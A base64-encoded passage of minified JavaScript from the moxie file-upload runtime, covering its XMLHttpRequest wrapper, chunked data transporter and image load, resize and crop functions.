LGdldFJlc3BvbnNlSGVhZGVyOmZ1bmN0aW9uKGUpe3JldHVybiBlPWUudG9Mb3dlckNhc2UoKSx5fHx+Yi5pbkFycmF5KGUsWyJzZXQtY29va2llIiwic2V0LWNvb2tpZTIiXSk/bnVsbDp3JiYiIiE9PXcmJihpfHwoaT17fSxiLmVhY2gody5zcGxpdCgvXHJcbi8pLGZ1bmN0aW9uKGUpe3ZhciB0PWUuc3BsaXQoLzpccysvKTsyPT09dC5sZW5ndGgmJih0WzBdPWIudHJpbSh0WzBdKSxpW3RbMF0udG9Mb3dlckNhc2UoKV09e2hlYWRlcjp0WzBdLHZhbHVlOmIudHJpbSh0WzFdKX0pfSkpLGkuaGFzT3duUHJvcGVydHkoZSkpP2lbZV0uaGVhZGVyKyI6ICIraVtlXS52YWx1ZTpudWxsfSxvdmVycmlkZU1pbWVUeXBlOmZ1bmN0aW9uKGUpe3ZhciB0O2lmKH5iLmluQXJyYXkocygicmVhZHlTdGF0ZSIpLFtGLkxPQURJTkcsRi5ET05FXSkpdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKTtpZihlPWIudHJpbShlLnRvTG93ZXJDYXNlKCkpLC87Ly50ZXN0KGUpJiYodD1lLm1hdGNoKC9eKFteO10rKSg/Ojtcc2NoYXJzZXRcPSk/KC4qKSQvKSkmJihlPXRbMV0sdFsyXSYmdFsyXSksIU4ubWltZXNbZV0pdGhyb3cgbmV3IFIuRE9NRXhjZXB0aW9uKFIuRE9NRXhjZXB0aW9uLlNZTlRBWF9FUlIpfSxzZW5kOmZ1bmN0aW9uKGUsdCl7aWYoRT0ic3RyaW5nIj09PWIudHlwZU9mKHQpP3tydWlkOnR9OnR8fHt9LHRoaXMucmVhZHlTdGF0ZSE9PUYuT1BFTkVEfHxnKXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7aWYoZSBpbnN0YW5jZW9mIFQpRS5ydWlkPWUucnVpZCxtPWUudHlwZXx8ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSI7ZWxzZSBpZihlIGluc3RhbmNlb2YgRCl7aWYoZS5oYXNCbG9iKCkpe3ZhciBpPWUuZ2V0QmxvYigpO0UucnVpZD1pLnJ1aWQsbT1pLnR5cGV8fCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0ifX1lbHNlInN0cmluZyI9PXR5cGVvZiBlJiYocD0iVVRGLTgiLG09InRleHQvcGxhaW47Y2hhcnNldD1VVEYtOCIsZT1JLnV0ZjhfZW5jb2RlKGUpKTt0aGlzLndpdGhDcmVkZW50aWFsc3x8KHRoaXMud2l0aENyZWRlbnRpYWxzPUUucmVxdWlyZWRfY2FwcyYmRS5yZXF1aXJlZF9jYXBzLnNlbmRfYnJvd3Nlcl9jb29raWVzJiYhXykseD0hZiYmdGhpcy51cGxvYWQuaGFzRXZlbnRMaXN0ZW5lcigpLHk9ITEsdj0hZSxmfHwoZz0hMCksZnVuY3Rpb24oZSl7ZnVuY3Rpb24gaSgpe28mJihvLmRlc3Ryb3koKSxvPW51bGwpLHIuZGlzcGF0Y2hFdmVudCgibG9hZGVuZCIpLHI9bnVsbH1mdW5jdGlvbiBuKHQpe28uYmluZCgiTG9hZFN0YXJ0IixmdW5jdGlvbihlKXtzKCJyZWFkeVN0YXRlIixGLkxPQURJTkcpLHIuZGlzcGF0Y2hFdmVudCgicmVhZHlzdGF0ZWNoYW5nZSIpLHIuZGlzcGF0Y2hFdmVudChlKSx4JiZyLnVwbG9hZC5kaXNwYXRjaEV2ZW50KGUpfSksby5iaW5kKCJQcm9ncmVzcyIsZnVuY3Rpb24oZSl7cygicmVhZHlTdGF0ZSIpIT09Ri5MT0FESU5HJiYocygicmVhZHlTdGF0ZSIsRi5MT0FESU5HKSxyLmRpc3BhdGNoRXZlbnQoInJlYWR5c3RhdGVjaGFuZ2UiKSksci5kaXNwYXRjaEV2ZW50KGUpfSksby5iaW5kKCJVcGxvYWRQcm9ncmVzcyIsZnVuY3Rpb24oZSl7eCYmci51cGxvYWQuZGlzcGF0Y2hFdmVudCh7dHlwZToicHJvZ3Jlc3MiLGxlbmd0aENvbXB1dGFibGU6ITEsdG90YWw6ZS50b3RhbCxsb2FkZWQ6ZS5sb2FkZWR9KX0pLG8uYmluZCgiTG9hZCIsZnVuY3Rpb24oZSl7cygicmVhZHlTdGF0ZSIsRi5ET05FKSxzKCJzdGF0dXMiLE51bWJlcih0LmV4ZWMuY2FsbChvLCJYTUxIdHRwUmVxdWVzdCIsImdldFN0YXR1cyIpfHwwKSkscygic3RhdHVzVGV4dCIsTVtzKCJzdGF0dXMiKV18fCIiKSxzKCJyZXNwb25zZSIsdC5leGVjLmNhbGwobywiWE1MSHR0cFJlcXVlc3QiLCJnZXRSZXNwb25zZSIscygicmVzcG9uc2VUeXBlIikpKSx+Yi5pbkFycmF5KHMoInJlc3BvbnNlVHlwZSIpLFsidGV4dCIsIiJdKT9zKCJyZXNwb25zZVRleHQiLHMoInJlc3BvbnNlIikpOiJkb2N1bWVudCI9PT1zKCJyZXNwb25zZVR5cGUiKSYmcygicmVzcG9uc2VYTUwiLHMoInJlc3BvbnNlIikpLHc9dC5leGVjLmNhbGwobywiWE1MSHR0cFJlcXVlc3QiLCJnZXRBbGxSZXNwb25zZUhlYWRlcnMiKSxyLmRpc3BhdGNoRXZlbnQoInJlYWR5c3RhdGVjaGFuZ2UiKSwwPHMoInN0YXR1cyIpPyh4JiZyLnVwbG9hZC5kaXNwYXRjaEV2ZW50KGUpLHIuZGlzcGF0Y2hFdmVudChlKSk6KHk9ITAsci5kaXNwYXRjaEV2ZW50KCJlcnJvciIpKSxpKCl9KSxvLmJpbmQoIkFib3J0IixmdW5jdGlvbihlKXtyLmRpc3BhdGNoRXZlbnQoZSksaSgpfSksby5iaW5kKCJFcnJvciIsZnVuY3Rpb24oZSl7eT0hMCxzKCJyZWFkeVN0YXRlIixGLkRPTkUpLHIuZGlzcGF0Y2hFdmVudCgicmVhZHlzdGF0ZWNoYW5nZSIpLHY9ITAsci5kaXNwYXRjaEV2ZW50KGUpLGkoKX0pLHQuZXhlYy5jYWxsKG8sIlhNTEh0dHBSZXF1ZXN0Iiwic2VuZCIse3VybDphLG1ldGhvZDp1LGFzeW5jOmQsdXNlcjpjLHBhc3N3b3JkOmwsaGVhZGVyczpoLG1pbWVUeXBlOm0sZW5jb2Rpbmc6cCxyZXNwb25zZVR5cGU6ci5yZXNwb25zZVR5cGUsd2l0aENyZWRlbnRpYWxzOnIud2l0aENyZWRlbnRpYWxzLG9wdGlvbnM6RX0sZSl9dmFyIHI9dGhpczsobmV3IERhdGUpLmdldFRpbWUoKSxvPW5ldyBTLCJzdHJpbmciPT10eXBlb2YgRS5yZXF1aXJlZF9jYXBzJiYoRS5yZXF1aXJlZF9jYXBzPUEucGFyc2VDYXBzKEUucmVxdWlyZWRfY2FwcykpLEUucmVxdWlyZWRfY2Fwcz1iLmV4dGVuZCh7fSxFLnJlcXVpcmVkX2NhcHMse3JldHVybl9yZXNwb25zZV90eXBlOnIucmVzcG9uc2VUeXBlfSksZSBpbnN0YW5jZW9mIEQmJihFLnJlcXVpcmVkX2NhcHMuc2VuZF9tdWx0aXBhcnQ9ITApLGIuaXNFbXB0eU9iaihoKXx8KEUucmVxdWlyZWRfY2Fwcy5zZW5kX2N1c3RvbV9oZWFkZXJzPSEwKSxffHwoRS5yZXF1aXJlZF9jYXBzLmRvX2NvcnM9ITApLEUucnVpZD9uKG8uY29ubmVjdFJ1bnRpbWUoRSkpOihvLmJpbmQoIlJ1bnRpbWVJbml0IixmdW5jdGlvbihlLHQpe24odCl9KSxvLmJpbmQoIlJ1bnRpbWVFcnJvciIsZnVuY3Rpb24oZSx0KXtyLmRpc3BhdGNoRXZlbnQoIlJ1bnRpbWVFcnJvciIsdCl9KSxvLmNvbm5lY3RSdW50aW1lKEUpKX0uY2FsbCh0aGlzLGUpfSxhYm9ydDpmdW5jdGlvbigpe2lmKGY9ISh5PSEwKSx+Yi5pbkFycmF5KHMoInJlYWR5U3RhdGUiKSxbRi5VTlNFTlQsRi5PUEVORUQsRi5ET05FXSkpcygicmVhZHlTdGF0ZSIsRi5VTlNFTlQpO2Vsc2V7aWYocygicmVhZHlTdGF0ZSIsRi5ET05FKSxnPSExLCFvKXRocm93IG5ldyBSLkRPTUV4Y2VwdGlvbihSLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7by5nZXRSdW50aW1lKCkuZXhlYy5jYWxsKG8sIlhNTEh0dHBSZXF1ZXN0IiwiYWJvcnQiLHYpLHY9ITB9fSxkZXN0cm95OmZ1bmN0aW9uKCl7byYmKCJmdW5jdGlvbiI9PT1iLnR5cGVPZihvLmRlc3Ryb3kpJiZvLmRlc3Ryb3koKSxvPW51bGwpLHRoaXMudW5iaW5kQWxsKCksdGhpcy51cGxvYWQmJih0aGlzLnVwbG9hZC51bmJpbmRBbGwoKSx0aGlzLnVwbG9hZD1udWxsKX19KSx0aGlzLmhhbmRsZUV2ZW50UHJvcHMoUC5jb25jYXQoWyJyZWFkeXN0YXRlY2hhbmdlIl0pKSx0aGlzLnVwbG9hZC5oYW5kbGVFdmVudFByb3BzKFApfXZhciBNPXsxMDA6IkNvbnRpbnVlIiwxMDE6IlN3aXRjaGluZyBQcm90b2NvbHMiLDEwMjoiUHJvY2Vzc2luZyIsMjAwOiJPSyIsMjAxOiJDcmVhdGVkIiwyMDI6IkFjY2VwdGVkIiwyMDM6Ik5vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uIiwyMDQ6Ik5vIENvbnRlbnQiLDIwNToiUmVzZXQgQ29udGVudCIsMjA2OiJQYXJ0aWFsIENvbnRlbnQiLDIwNzoiTXVsdGktU3RhdHVzIiwyMjY6IklNIFVzZWQiLDMwMDoiTXVsdGlwbGUgQ2hvaWNlcyIsMzAxOiJNb3ZlZCBQZXJtYW5lbnRseSIsMzAyOiJGb3VuZCIsMzAzOiJTZWUgT3RoZXIiLDMwNDoiTm90IE1vZGlmaWVkIiwzMDU6IlVzZSBQcm94eSIsMzA2OiJSZXNlcnZlZCIsMzA3OiJUZW1wb3JhcnkgUmVkaXJlY3QiLDQwMDoiQmFkIFJlcXVlc3QiLDQwMToiVW5hdXRob3JpemVkIiw0MDI6IlBheW1lbnQgUmVxdWlyZWQiLDQwMzoiRm9yYmlkZGVuIiw0MDQ6Ik5vdCBGb3VuZCIsNDA1OiJNZXRob2QgTm90IEFsbG93ZWQiLDQwNjoiTm90IEFjY2VwdGFibGUiLDQwNzoiUHJveHkgQXV0aGVudGljYXRpb24gUmVxdWlyZWQiLDQwODoiUmVxdWVzdCBUaW1lb3V0Iiw0MDk6IkNvbmZsaWN0Iiw0MTA6IkdvbmUiLDQxMToiTGVuZ3RoIFJlcXVpcmVkIiw0MTI6IlByZWNvbmRpdGlvbiBGYWlsZWQiLDQxMzoiUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlIiw0MTQ6IlJlcXVlc3QtVVJJIFRvbyBMb25nIiw0MTU6IlVuc3VwcG9ydGVkIE1lZGlhIFR5cGUiLDQxNjoiUmVxdWVzdGVkIFJhbmdlIE5vdCBTYXRpc2ZpYWJsZSIsNDE3OiJFeHBlY3RhdGlvbiBGYWlsZWQiLDQyMjoiVW5wcm9jZXNzYWJsZSBFbnRpdHkiLDQyMzoiTG9ja2VkIiw0MjQ6IkZhaWxlZCBEZXBlbmRlbmN5Iiw0MjY6IlVwZ3JhZGUgUmVxdWlyZWQiLDUwMDoiSW50ZXJuYWwgU2VydmVyIEVycm9yIiw1MDE6Ik5vdCBJbXBsZW1lbnRlZCIsNTAyOiJCYWQgR2F0ZXdheSIsNTAzOiJTZXJ2aWNlIFVuYXZhaWxhYmxlIiw1MDQ6IkdhdGV3YXkgVGltZW91dCIsNTA1OiJIVFRQIFZlcnNpb24gTm90IFN1cHBvcnRlZCIsNTA2OiJWYXJpYW50IEFsc28gTmVnb3RpYXRlcyIsNTA3OiJJbnN1ZmZpY2llbnQgU3RvcmFnZSIsNTEwOiJOb3QgRXh0ZW5kZWQifTtMLnByb3RvdHlwZT1lLmluc3RhbmNlO3ZhciBQPVsibG9hZHN0YXJ0IiwicHJvZ3Jlc3MiLCJhYm9ydCIsImVycm9yIiwibG9hZCIsInRpbWVvdXQiLCJsb2FkZW5kIl07cmV0dXJuIEYuVU5TRU5UPTAsRi5PUEVORUQ9MSxGLkhFQURFUlNfUkVDRUlWRUQ9MixGLkxPQURJTkc9MyxGLkRPTkU9NCxGLnByb3RvdHlwZT1lLmluc3RhbmNlLEZ9KSxlKCJtb3hpZS9ydW50aW1lL1RyYW5zcG9ydGVyIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiXSxmdW5jdGlvbihoLGksZSx0KXtmdW5jdGlvbiBwKCl7ZnVuY3Rpb24gbygpe2M9bD0wLHU9dGhpcy5yZXN1bHQ9bnVsbH1mdW5jdGlvbiBzKGUsdCl7dmFyIGk9dGhpcztyPXQsaS5iaW5kKCJUcmFuc3BvcnRpbmdQcm9ncmVzcyIsZnVuY3Rpb24oZSl7KGw9ZS5sb2FkZWQpPGMmJi0xPT09aC5pbkFycmF5KGkuc3RhdGUsW3AuSURMRSxwLkRPTkVdKSYmbi5jYWxsKGkpfSw5OTkpLGkuYmluZCgiVHJhbnNwb3J0aW5nQ29tcGxldGUiLGZ1bmN0aW9uKCl7bD1jLGkuc3RhdGU9cC5ET05FLHU9bnVsbCxpLnJlc3VsdD1yLmV4ZWMuY2FsbChpLCJUcmFuc3BvcnRlciIsImdldEFzQmxvYiIsZXx8IiIpfSw5OTkpLGkuc3RhdGU9cC5CVVNZLGkudHJpZ2dlcigiVHJhbnNwb3J0aW5nU3RhcnRlZCIpLG4uY2FsbChpKX1mdW5jdGlvbiBuKCl7dmFyIGUsdD1jLWw7dDxkJiYoZD10KSxlPWkuYnRvYSh1LnN1YnN0cihsLGQpKSxyLmV4ZWMuY2FsbCh0aGlzLCJUcmFuc3BvcnRlciIsInJlY2VpdmUiLGUsYyl9dmFyIGEscix1LGMsbCxkO2UuY2FsbCh0aGlzKSxoLmV4dGVuZCh0aGlzLHt1aWQ6aC5ndWlkKCJ1aWRfIiksc3RhdGU6cC5JRExFLHJlc3VsdDpudWxsLHRyYW5zcG9ydDpmdW5jdGlvbihlLGksdCl7dmFyIG49dGhpcztpZih0PWguZXh0ZW5kKHtjaHVua19zaXplOjIwNDc5OH0sdCksKGE9dC5jaHVua19zaXplJTMpJiYodC5jaHVua19zaXplKz0zLWEpLGQ9dC5jaHVua19zaXplLG8uY2FsbCh0aGlzKSxjPSh1PWUpLmxlbmd0aCwic3RyaW5nIj09PWgudHlwZU9mKHQpfHx0LnJ1aWQpcy5jYWxsKG4saSx0aGlzLmNvbm5lY3RSdW50aW1lKHQpKTtlbHNle3ZhciByPWZ1bmN0aW9uKGUsdCl7bi51bmJpbmQoIlJ1bnRpbWVJbml0IixyKSxzLmNhbGwobixpLHQpfTt0aGlzLmJpbmQoIlJ1bnRpbWVJbml0IixyKSx0aGlzLmNvbm5lY3RSdW50aW1lKHQpfX0sYWJvcnQ6ZnVuY3Rpb24oKXt0aGlzLnN0YXRlPXAuSURMRSxyJiYoci5leGVjLmNhbGwodGhpcywiVHJhbnNwb3J0ZXIiLCJjbGVhciIpLHRoaXMudHJpZ2dlcigiVHJhbnNwb3J0aW5nQWJvcnRlZCIpKSxvLmNhbGwodGhpcyl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt0aGlzLnVuYmluZEFsbCgpLHI9bnVsbCx0aGlzLmRpc2Nvbm5lY3RSdW50aW1lKCksby5jYWxsKHRoaXMpfX0pfXJldHVybiBwLklETEU9MCxwLkJVU1k9MSxwLkRPTkU9MixwLnByb3RvdHlwZT10Lmluc3RhbmNlLHB9KSxlKCJtb3hpZS9pbWFnZS9JbWFnZSIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9Eb20iLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9maWxlL0ZpbGVSZWFkZXJTeW5jIiwibW94aWUveGhyL1hNTEh0dHBSZXF1ZXN0IiwibW94aWUvcnVudGltZS9SdW50aW1lIiwibW94aWUvcnVudGltZS9SdW50aW1lQ2xpZW50IiwibW94aWUvcnVudGltZS9UcmFuc3BvcnRlciIsIm1veGllL2NvcmUvdXRpbHMvRW52IiwibW94aWUvY29yZS9FdmVudFRhcmdldCIsIm1veGllL2ZpbGUvQmxvYiIsIm1veGllL2ZpbGUvRmlsZSIsIm1veGllL2NvcmUvdXRpbHMvRW5jb2RlIl0sZnVuY3Rpb24oYyxuLGwsZSxvLHMsdCxkLGgsaSxhLHUscCl7ZnVuY3Rpb24gbSgpe2Z1bmN0aW9uIHIodCxlKXtmdW5jdGlvbiBpKGUpe24ucnVpZD1lLnVpZCxlLmV4ZWMuY2FsbChuLCJJbWFnZSIsImxvYWRGcm9tQmxvYiIsdCl9dmFyIG49dGhpcztuLm5hbWU9dC5uYW1lfHwiIix0LmlzRGV0YWNoZWQoKT8odGhpcy5iaW5kKCJSdW50aW1lSW5pdCIsZnVuY3Rpb24oZSx0KXtpKHQpfSksZSYmInN0cmluZyI9PXR5cGVvZiBlLnJlcXVpcmVkX2NhcHMmJihlLnJlcXVpcmVkX2NhcHM9cy5wYXJzZUNhcHMoZS5yZXF1aXJlZF9jYXBzKSksdGhpcy5jb25uZWN0UnVudGltZShjLmV4dGVuZCh7cmVxdWlyZWRfY2Fwczp7YWNjZXNzX2ltYWdlX2JpbmFyeTohMCxyZXNpemVfaW1hZ2U6ITB9fSxlKSkpOmkodGhpcy5jb25uZWN0UnVudGltZSh0LnJ1aWQpKX10LmNhbGwodGhpcyksYy5leHRlbmQodGhpcyx7dWlkOmMuZ3VpZCgidWlkXyIpLHJ1aWQ6bnVsbCxuYW1lOiIiLHNpemU6MCx3aWR0aDowLGhlaWdodDowLHR5cGU6IiIsbWV0YTp7fSxjbG9uZTpmdW5jdGlvbigpe3RoaXMubG9hZC5hcHBseSh0aGlzLGFyZ3VtZW50cyl9LGxvYWQ6ZnVuY3Rpb24oKXsoZnVuY3Rpb24gZSh0KXt2YXIgaT1jLnR5cGVPZih0KTt0cnl7aWYodCBpbnN0YW5jZW9mIG0pe2lmKCF0LnNpemUpdGhyb3cgbmV3IGwuRE9NRXhjZXB0aW9uKGwuRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKTsoZnVuY3Rpb24oZSx0KXt2YXIgaT10aGlzLmNvbm5lY3RSdW50aW1lKGUucnVpZCk7dGhpcy5ydWlkPWkudWlkLGkuZXhlYy5jYWxsKHRoaXMsIkltYWdlIiwibG9hZEZyb21JbWFnZSIsZSwidW5kZWZpbmVkIj09PWMudHlwZU9mKHQpfHx0KX0pLmFwcGx5KHRoaXMsYXJndW1lbnRzKX1lbHNlIGlmKHQgaW5zdGFuY2VvZiBhKXtpZighfmMuaW5BcnJheSh0LnR5cGUsWyJpbWFnZS9qcGVnIiwiaW1hZ2UvcG5nIl0pKXRocm93IG5ldyBsLkltYWdlRXJyb3IobC5JbWFnZUVycm9yLldST05HX0ZPUk1BVCk7ci5hcHBseSh0aGlzLGFyZ3VtZW50cyl9ZWxzZSBpZigtMSE9PWMuaW5BcnJheShpLFsiYmxvYiIsImZpbGUiXSkpZS5jYWxsKHRoaXMsbmV3IHUobnVsbCx0KSxhcmd1bWVudHNbMV0pO2Vsc2UgaWYoInN0cmluZyI9PT1pKSJkYXRhOiI9PT10LnN1YnN0cigwLDUpP2UuY2FsbCh0aGlzLG5ldyBhKG51bGwse2RhdGE6dH0pLGFyZ3VtZW50c1sxXSk6ZnVuY3Rpb24oZSx0KXt2YXIgaSxuPXRoaXM7KGk9bmV3IG8pLm9wZW4oImdldCIsZSksaS5yZXNwb25zZVR5cGU9ImJsb2IiLGkub25wcm9ncmVzcz1mdW5jdGlvbihlKXtuLnRyaWdnZXIoZSl9LGkub25sb2FkPWZ1bmN0aW9uKCl7ci5jYWxsKG4saS5yZXNwb25zZSwhMCl9LGkub25lcnJvcj1mdW5jdGlvbihlKXtuLnRyaWdnZXIoZSl9LGkub25sb2FkZW5kPWZ1bmN0aW9uKCl7aS5kZXN0cm95KCl9LGkuYmluZCgiUnVudGltZUVycm9yIixmdW5jdGlvbihlLHQpe24udHJpZ2dlcigiUnVudGltZUVycm9yIix0KX0pLGkuc2VuZChudWxsLHQpfS5hcHBseSh0aGlzLGFyZ3VtZW50cyk7ZWxzZXtpZigibm9kZSIhPT1pfHwiaW1nIiE9PXQubm9kZU5hbWUudG9Mb3dlckNhc2UoKSl0aHJvdyBuZXcgbC5ET01FeGNlcHRpb24obC5ET01FeGNlcHRpb24uVFlQRV9NSVNNQVRDSF9FUlIpO2UuY2FsbCh0aGlzLHQuc3JjLGFyZ3VtZW50c1sxXSl9fWNhdGNoKHQpe3RoaXMudHJpZ2dlcigiZXJyb3IiLHQuY29kZSl9fSkuYXBwbHkodGhpcyxhcmd1bWVudHMpfSxyZXNpemU6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuPXRoaXMscj17eDowLHk6MCx3aWR0aDpuLndpZHRoLGhlaWdodDpuLmhlaWdodH0sbz1jLmV4dGVuZElmKHt3aWR0aDpuLndpZHRoLGhlaWdodDpuLmhlaWdodCx0eXBlOm4udHlwZXx8ImltYWdlL2pwZWciLHF1YWxpdHk6OTAsY3JvcDohMSxmaXQ6ITAscHJlc2VydmVIZWFkZXJzOiEwLHJlc2FtcGxlOiJkZWZhdWx0IixtdWx0aXBhc3M6ITB9LGUpO3RyeXtpZighbi5zaXplKXRocm93IG5ldyBsLkRPTUV4Y2VwdGlvbihsLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7aWYobi53aWR0aD5tLk1BWF9SRVNJWkVfV0lEVEh8fG4uaGVpZ2h0Pm0uTUFYX1JFU0laRV9IRUlHSFQpdGhyb3cgbmV3IGwuSW1hZ2VFcnJvcihsLkltYWdlRXJyb3IuTUFYX1JFU09MVVRJT05fRVJSKTtpZih0PW4ubWV0YSYmbi5tZXRhLnRpZmYmJm4ubWV0YS50aWZmLk9yaWVudGF0aW9ufHwxLC0xIT09Yy5pbkFycmF5KHQsWzUsNiw3LDhdKSl7dmFyIHM9by53aWR0aDtvLndpZHRoPW8uaGVpZ2h0LG8uaGVpZ2h0PXN9aWYoby5jcm9wKXtzd2l0Y2goaT1NYXRoLm1heChvLndpZHRoL24ud2lkdGgsby5oZWlnaHQvbi5oZWlnaHQpLGk9ZS5maXQ/KHIud2lkdGg9TWF0aC5taW4oTWF0aC5jZWlsKG8ud2lkdGgvaSksbi53aWR0aCksci5oZWlnaHQ9TWF0aC5taW4oTWF0aC5jZWlsKG8uaGVpZ2h0L2kpLG4uaGVpZ2h0KSxvLndpZHRoL3Iud2lkdGgpOihyLndpZHRoPU1hdGgubWluKG8ud2lkdGgsbi53aWR0aCksci5oZWlnaHQ9TWF0aC5taW4oby5oZWlnaHQsbi5oZWlnaHQpLDEpLCJib29sZWFuIj09dHlwZW9mIG8uY3JvcCYmKG8uY3JvcD0iY2MiKSxvLmNyb3AudG9Mb3dlckNhc2UoKS5yZXBsYWNlKC9fLywiLSIpKXtjYXNlInJiIjpjYXNlInJpZ2h0LWJvdHRvbSI6ci54PW4ud2lkdGgtci53aWR0aCxyLnk9bi5oZWlnaHQtci5oZWlnaHQ7YnJlYWs7Y2FzZSJjYiI6Y2FzZSJjZW50ZXItYm90dG9tIjpyLng9TWF0aC5mbG9vcigobi53aWR0aC1yLndpZHRoKS8yKSxyLnk9bi5oZWlnaHQtci5oZWlnaHQ7YnJlYWs7Y2FzZSJsYiI6Y2FzZSJsZWZ0LWJvdHRvbSI6ci54PTAsci55PW4uaGVpZ2h0LXIuaGVpZ2h0O2JyZWFrO2Nhc2UibHQiOmNhc2UibGVmdC10b3AiOnIueD0wLHIueT0wO2JyZWFrO2Nhc2UiY3QiOmNhc2UiY2VudGVyLXRvcCI6ci54PU1hdGguZmxvb3IoKG4ud2lkdGgtci53aWR0aCkvMiksci55PTA7YnJlYWs7Y2FzZSJydCI6Y2FzZSJyaWdodC10b3AiOnIueD1uLndpZHRoLXIud2lkdGgsci55PTA7YnJlYWs7Y2FzZSJyYyI6Y2FzZSJyaWdodC1jZW50ZXIiOmNhc2UicmlnaHQtbWlkZGxlIjpyLng9bi53aWR0aC1yLndpZHRoLHIueT1NYXRoLmZsb29yKChuLmhlaWdodC1yLmhlaWdodCkvMik7YnJlYWs7Y2FzZSJsYyI6Y2FzZSJsZWZ0LWNlbnRlciI6Y2FzZSJsZWZ0LW1pZGRsZSI6ci54PTAsci55PU1hdGguZmxvb3IoKG4uaGVpZ2h0LXIuaGVpZ2h0KS8yKTticmVhaztjYXNlImNjIjpjYXNlImNlbnRlci1jZW50ZXIiOmNhc2UiY2VudGVyLW1pZGRsZSI6ZGVmYXVsdDpyLng9TWF0aC5mbG9vcigobi53aWR0aC1yLndpZHRoKS8yKSxyLnk9TWF0aC5mbG9vcigobi5oZWlnaHQtci5oZWlnaHQpLzIpfXIueD1NYXRoLm1heChyLngsMCksci55PU1hdGgubWF4KHIueSwwKX1lbHNlIDE8KGk9TWF0aC5taW4oby53aWR0aC9uLndpZHRoLG8uaGVpZ2h0L24uaGVpZ2h0KSkmJiFvLmZpdCYmKGk9MSk7dGhpcy5leGVjKCJJbWFnZSIsInJlc2l6ZSIscixpLG8pfWNhdGNoKGUpe24udHJpZ2dlcigiZXJyb3IiLGUuY29kZSl9fSxkb3duc2l6ZTpmdW5jdGlvbihlKXt2YXIgdCxpPXt3aWR0aDp0aGlzLndpZHRoLGhlaWdodDp0aGlzLmhlaWdodCx0eXBlOnRoaXMudHlwZXx8ImltYWdlL2pwZWciLHF1YWxpdHk6OTAsY3JvcDohMSxmaXQ6ITEscHJlc2VydmVIZWFkZXJzOiEwLHJlc2FtcGxlOiJkZWZhdWx0In07dD0ib2JqZWN0Ij09dHlwZW9mIGU/Yy5leHRlbmQoaSxlKTpjLmV4dGVuZChpLHt3aWR0aDplLGhlaWdodDphcmd1bWVudHNbMV0sY3JvcDphcmd1bWVudHNbMl0scHJlc2VydmVIZWFkZXJzOmFyZ3VtZW50c1szXX0pLHRoaXMucmVzaXplKHQpfSxjcm9wOmZ1bmN0aW9uKGUsdCxpKXt0aGlzLmRvd25zaXplKGUsdCwhMCxpKX0sZ2V0QXNDYW52YXM6ZnVuY3Rpb24oKXtpZighaC5jYW4oImNyZWF0ZV9jYW52YXMiKSl0aHJvdyBuZXcgbC5SdW50aW1lRXJyb3IobC5SdW50aW1lRXJyb3IuTk9UX1NVUFBPUlRFRF9FUlIpO3JldHVybiB0aGlzLmV4ZWMoIkltYWdlIiwiZ2V0QXNDYW52YXMiKX0sZ2V0QXNCbG9iOmZ1bmN0aW9uKGUsdCl7aWYoIXRoaXMuc2l6ZSl0aHJvdyBuZXcgbC5ET01FeGNlcHRpb24obC5ET01FeGNlcHRpb24uSU5WQUxJRF9TVEFURV9FUlIpO3JldHVybiB0aGlzLmV4ZWMoIkltYWdlIiwiZ2V0QXNCbG9iIixlfHwiaW1hZ2UvanBlZyIsdHx8OTApfSxnZXRBc0RhdGFVUkw6ZnVuY3Rpb24oZSx0KXtpZighdGhpcy5zaXplKXRocm93IG5ldyBsLkRPTUV4Y2VwdGlvbihsLkRPTUV4Y2VwdGlvbi5JTlZBTElEX1NUQVRFX0VSUik7cmV0dXJuIHRoaXMuZXhlYygiSW1hZ2UiLCJnZXRBc0RhdGFVUkwiLGV8fCJpbWFnZS9qcGVnIix0fHw5MCl9LGdldEFzQmluYXJ5U3RyaW5nOmZ1bmN0aW9uKGUsdCl7dmFyIGk9dGhpcy5nZXRBc0RhdGFVUkwoZSx0KTtyZXR1cm4gcC5hdG9iKGkuc3Vic3RyaW5nKGkuaW5kZXhPZigiYmFzZTY0LCIpKzcpKX0sZW1iZWQ6ZnVuY3Rpb24ocyxlKXt2YXIgYSx1PXRoaXMsdD1jLmV4dGVuZCh7d2lkdGg6dGhpcy53aWR0aCxoZWlnaHQ6dGhpcy5oZWlnaHQsdHlwZTp0aGlzLnR5cGV8fCJpbWFnZS9qcGVnIixxdWFsaXR5OjkwLGZpdDohMCxyZXNhbXBsZToibmVhcmVzdCJ9LGUpO3RyeXtpZighKHM9bi5nZXQocykpKXRocm93IG5ldyBsLkRPTUV4Y2VwdGlvbihsLkRPTUV4Y2VwdGlvbi5JTlZBTElEX05PREVfVFlQRV9FUlIpO2lmKCF0aGlzLnNpemUpdGhyb3cgbmV3IGwuRE9NRXhjZXB0aW9uKGwuRE9NRXhjZXB0aW9uLklOVkFMSURfU1RBVEVfRVJSKTt0aGlzLndpZHRoPm0uTUFYX1JFU0laRV9XSURUSHx8dGhpcy5oZWlnaHQ7dmFyIGk9bmV3IG07cmV0dXJuIGkuYmluZCgiUmVzaXplIixmdW5jdGlvbigpeyhmdW5jdGlvbihlLHQpe3ZhciBpPXRoaXM7aWYoaC5jYW4oImNyZWF0ZV9jYW52YXMiKSl7dmFyIG49aS5nZXRBc0NhbnZhcygpO2lmKG4pcmV0dXJuIHMuYXBwZW5kQ2hpbGQobiksbj1udWxsLGkuZGVzdHJveSgpLHZvaWQgdS5